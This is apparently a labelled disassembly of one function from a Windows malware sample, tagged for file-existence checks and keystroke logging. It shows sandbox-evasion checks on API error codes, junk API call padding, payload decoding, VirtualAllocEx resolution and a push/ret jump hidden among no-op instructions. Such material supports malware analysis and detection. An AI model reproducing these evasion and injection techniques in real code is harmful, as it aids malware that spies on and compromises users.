Function at 0x4012b0
Capabilities:
Check if file exists
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
push 0x54e14c
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4012d3
xor eax, eax
jmp 0x40170f
mov edx, dword [ebp + 8]
mov dword [0x54e124], edx
mov dword [0x54e10c], ebp
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x38], 1
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x10], 1
mov dword [ebp - 0x28], 1
mov dword [ebp - 0x34], 1
mov dword [ebp - 0x4c], 1
mov dword [ebp - 0xc], 1
mov dword [ebp - 0x24], 1
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x20], 1
mov dword [ebp - 0x48], 1
mov dword [ebp - 4], 1
mov dword [ebp - 8], 1
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x44], 1
mov dword [ebp - 0x40], 1
mov dword [ebp - 0x30], 1
mov dword [ebp - 0x14], 1
mov dword [ebp - 0x18], 1
mov dword [0x5e89a4], 0
jmp 0x401387
mov eax, dword [0x5e89a4]
add eax, 1
mov dword [0x5e89a4], eax
cmp dword [0x5e89a4], 0x372c
jae 0x40139f
mov ecx, dword [ebp - 0x38]
push ecx
call dword [sym.imp.USER32.dll_DestroyIcon]
jmp 0x40137a
call dword [sym.imp.USER32.dll_GetMessageTime]
call dword [sym.imp.USER32.dll_GetCaretBlinkTime]
mov edx, dword [ebp - 0x28]
push edx
call dword [sym.imp.GDI32.dll_RealizePalette]
mov eax, dword [ebp - 0x34]
push eax
call dword [sym.imp.GDI32.dll_GetTextCharacterExtra]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
mov edx, dword [ebp - 0x34]
push edx
call dword [sym.imp.USER32.dll_CloseWindowStation]
movzx eax, byte [ebp - 4]
push eax
call dword [sym.imp.USER32.dll_IsCharUpperA]
mov ecx, dword [ebp - 0x20]
push ecx
call dword [sym.imp.GDI32.dll_SaveDC]
call dword [sym.imp.USER32.dll_GetCursor]
call dword [sym.imp.USER32.dll_GetCapture]
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.USER32.dll_GetMenuContextHelpId]
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.GDI32.dll_CancelDC]
movzx ecx, word [ebp - 0x38]
push ecx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericW]
mov edx, dword [ebp - 0x30]
push edx
call dword [sym.imp.GDI32.dll_GetTextColor]
mov eax, dword [ebp - 0x14]
push eax
call dword [sym.imp.GDI32.dll_GetTextColor]
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.GDI32.dll_CloseMetaFile]
movzx edx, byte [ebp - 0x44]
push edx
call dword [sym.imp.USER32.dll_VkKeyScanA]
mov eax, dword [ebp - 0x24]
push eax
call dword [sym.imp.GDI32.dll_DeleteColorSpace]
mov ecx, dword [ebp - 0x50]
push ecx
call dword [sym.imp.GDI32.dll_GetGraphicsMode]
call dword [sym.imp.USER32.dll_ReleaseCapture]
push str.bRYFwPobfq
call dword [sym.imp.USER32.dll_CharUpperA]
mov edx, dword [ebp - 0x48]
push edx
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov eax, dword [ebp - 0x44]
push eax
call dword [sym.imp.USER32.dll_DrawMenuBar]
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov ecx, dword [ebp - 0x24]
push ecx
call dword [sym.imp.GDI32.dll_GetStretchBltMode]
mov edx, dword [ebp - 0x40]
push edx
call dword [sym.imp.GDI32.dll_GetDCPenColor]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.GDI32.dll_CreatePatternBrush]
mov ecx, dword [ebp - 0x40]
push ecx
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
movzx edx, byte [ebp - 0x14]
push edx
call dword [sym.imp.USER32.dll_IsCharAlphaNumericA]
mov eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.GDI32.dll_FlattenPath]
push 0x54e15c
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4014d5
xor eax, eax
jmp 0x40170f
push 0x54e160
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x4014f2
xor eax, eax
jmp 0x40170f
push 0x54e164
call dword [sym.imp.GDI32.dll_GetEnhMetaFileA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40150f
xor eax, eax
jmp 0x40170f
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetEnhMetaFileBits]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 6
je 0x40152d
xor eax, eax
jmp 0x40170f
mov ecx, dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [0x5e89cc], ecx
call fcn.00401730
call fcn.00401270
push 0xa569
call fcn.00401e60
add esp, 4
mov dword [0x54e0f8], eax
mov edx, dword [0x54e0f8]
mov dword [0x5e89f4], edx
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [0x5e89f8], eax
mov edx, dword [0x54e134]
push edx
mov eax, eax
mov eax, dword [0x54e13c]
push eax
mov eax, eax
mov eax, dword [0x5e89f4]
push eax
mov eax, eax
mov eax, dword [0x5e89ac]
push eax
mov eax, eax
mov eax, dword [0x54e138]
push eax
mov eax, eax
mov edx, dword [0x5e89f8]
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
push 0x4015db
push edx
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
mov eax, eax
ret
mov esp, ebp
pop ebp
ret